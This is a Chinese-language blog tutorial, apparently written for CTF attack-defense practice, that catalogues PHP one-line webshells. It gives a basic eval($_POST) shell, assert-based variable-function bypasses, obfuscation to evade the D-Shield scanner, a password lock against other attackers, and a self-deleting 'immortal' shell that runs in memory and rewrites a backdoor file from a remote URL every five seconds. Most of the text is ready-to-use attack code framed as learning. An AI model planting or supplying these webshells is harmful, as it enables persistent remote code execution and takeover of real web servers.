注意注意:本博客仅供学习交流使用,不可用于任何违法行为中,学信息安全,保卫我国信息安全,爱我中国~
ummmm,之前队内交流提到了线下赛的木马,和表哥们的交流中也认识到很多不足,一边学习,一边进步吧,欢迎大佬留言指点~
下面从一些基本种类的一句话木马开始讲起【PHP环境】,主要讲述一句话木马绕过及不死鸟木马的原理
1.最最最最基础一句话
eval($_POST["test"]);
很多人都知道这个很轻松菜刀直连,这里还是简单截个图说明下
说明下,上面左边是你放有这句木马的php文件,右边是俗称的密码,其实稍微懂点php的人都应该很容易能理解这句木马的原理,eval执行函数内的可执行代码,而内部代码是post获取的,所以,ummmm
2.绕过第一种姿势
$_GET[a]($_GET[b]);
这里不补充详细代码了,提供一个思路,利用assert,eval执行代码,生成一个上面的最基本一句话木马,只要这个代码还在,我就可以随时随地生成我想要的木马文件
3.不死鸟
unlink($_SERVER['SCRIPT_FILENAME']); ignore_user_abort(true); set_time_limit(0); $remote_file = 'url'; while($code = file_get_contents($remote_file)){ file_put_contents('./1.php',$code); sleep(5); };
不死鸟的核心是开头三句话,含义是删除自己本身文件,自身永驻内存,并且没有执行次数限制,
中间的代码很简单,读取你储存在某个地方的一句话木马,在目标服务器中产生,配合上sleep(5),效果就是,没五秒产生一个一句话木马(删除继续产生,俗称的不死鸟)
对付这种木马,目前最有效的办法就是重启PHP服务器
4.绕过姿势2
#($_=@$_GET[qswfei]).@$_($_POST[dsafsdfe]) #?qswfei=assert #连接密码:dsafsdfe #d盾报病毒
如上所示,D盾报毒,ummm,比赛面前用用吧,实际中估计已经废了
5.其他杂碎知识
#include ($filename); //危险的include函数,直接编译任何文件为php格式运行 #echo str_rot13('riny'); eval #$_POST['sa']($_POST['sb']); #fopen("testfile.txt", "w") #限制别人连接,md5验证下,pass=wsrW12R#@WEuy9() #$_POST['pass'])==' d0ae51216453365ad68537ae5da38fc4'
知识所限,暂时总结这么多,总的还是,把各种各样的知识结合到一起,多看看PHP一些冷门函数,混合搭配起来,就是一个很优秀的一句话木马了
另:欢迎大佬留下博客地址或者一些建议一起交流,为大佬端茶!